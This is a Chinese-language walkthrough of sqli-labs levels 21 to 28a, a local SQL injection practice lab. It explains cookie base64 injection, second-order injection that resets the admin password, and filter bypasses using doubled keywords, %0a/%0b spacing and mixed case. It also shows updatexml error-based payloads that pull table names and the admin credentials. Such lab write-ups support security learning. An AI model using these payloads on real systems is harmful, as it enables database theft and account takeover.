Less-21:
第21关,根据前面18关之后的经验,我决定先登录一下试试,然后…
瞬间爆炸了有木有,一堆英文完全看不懂啥意思,不过幸好有百度翻译,
emmmm,好像没什么用,该没看懂还是没看懂,不过看到有user-agent和http,就决定先用' and union select 1,2,3#
试一下,发现语句会直接输出,并没有注入。
然而,当我在cookie之中写payload时页面出现了变化
好吧,还是没看懂,咱们去看源码。
从源码中可以看出时由单引号加括号闭合的,但是,当我们使用单引号闭合之后页面仍然报错,而且还出现了乱码。
咱们去看标题,cookie injection - base64 encoded - single quotes and parenthesis
,发现这关要使用base64编码。
base64编码在线加密解密:http://tool.oschina.net/encrypt?type=3
我们尝试将') union select 1,2,3#
进行编码输入试试
成功啦,而且还有三个显示位,之后的就是使用联合查询,联合查询参考Less-1。
Less-22:
双引号闭合,具体参考Less-21。
Less-23:
进去之后发现还是get型输入,但是在输入1' or 1=1#
时出现了报错
然后一直以为是闭合方式有问题,但是在看过源码之后发现就是单引号闭合的,不过来看源码的这一部分
在这里,将注释符#,- -和空格都进行了过滤,所以说我们在url中输入的#并没有起到注释的作用。这时,我们可以用闭合语句来进行绕过。
源码为:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们可以输入:?id=0' union select 1,2,3'
,
sql语句就变成了:$sql="SELECT * FROM users WHERE id='0' union select 1,2,3'' LIMIT 0,1"
。
这样就成功的绕过了过滤并且插入了查询语句,之后就继续我们的联合查询吧。
Less-24:
这一关先登录之后发现
然后退出,注册一个新用户,新用户名为admin’# 密码为123456
登录这个admin’#的用户,按照正常流程这时就应该修改该用户的密码了,我们把密码修改为1,点击Reset.
此时按照正常的,我们的密码修改前为123456,修改后为1
但是我们再登录的时候会发现密码仍然是123456, 1是错误的密码.
然后我们去登录admin用户,发现admin用户的密码已经被修改为1了
出现这种漏洞的原因是:他的修改密码处用户名中没有过滤,我们注册的admin’#这个用户在修改密码时被当作了admin用户,最后导致admin用户密码被修改
Less-25:
进入页面,发现提示,尝试了一下,发现or和and都被过滤了。
然后我们要绕过去,绕过注入的方法参考大佬的博客:sql注入绕过方法总结
可以使用双写或符号代替or和and来进行绕过,当然还要注意sql语句的闭合问题。然后用联合查询就可以查询出所有数据了,
注意: 这个最坑的地方在于,它不仅过滤了你语句中的or和and,就连你的单词拼写中的or和and也会被过滤,例如information就会被过滤,要写成infoorrmation来防止过滤。
Less-25a:
和Less-25类似,只不过没有提示信息,把联合注入改为盲注就行了。
Less-26:
这一关可以使用%0a替换空格来进行绕过,但是我没有成功,后来替换成了%0b可以绕过.或者也可以使用updatexml()报错.
1.当前数据库:127.0.0.1/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1
2.数据表:127.0.0.1/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1
3.字段名:127.0.0.1/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1
4.数据:127.0.0.1/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1
Less-27:
这一关可以发现过滤了union select,可以用大小写来进行绕过。不过,在将union select改为uNion sElect 后,发现页面返回还是错误的,然后下面的提示中发现,空格呢?空格又没了…看源码后发现它不止过滤了union select,还把空格,注释等等都进行了过滤,于是,我们将空格换位%0a,然后用提前闭合绕过注释就行了。
查询表:?id=0%27%0AUNion%0aunion%0aSElect%0aselect%0A1,(SElect%0aselect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27),%271
Less-27a:
双引号闭合 ”
,具体参考Less-27。
Less-28:
union select被过滤的更多了,将union select双写为unionunion%0aSElect%0aselect
就行,如果直接就双写的话它会过滤select,所以要在中间再加一个(%0a)空格。
查询表名:?id=0%27)%0Aunionunion%0aSElect%0aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27),(%271'
Less-28a:
?id=0’or%0A’1’='1可以,其余参考Less-28。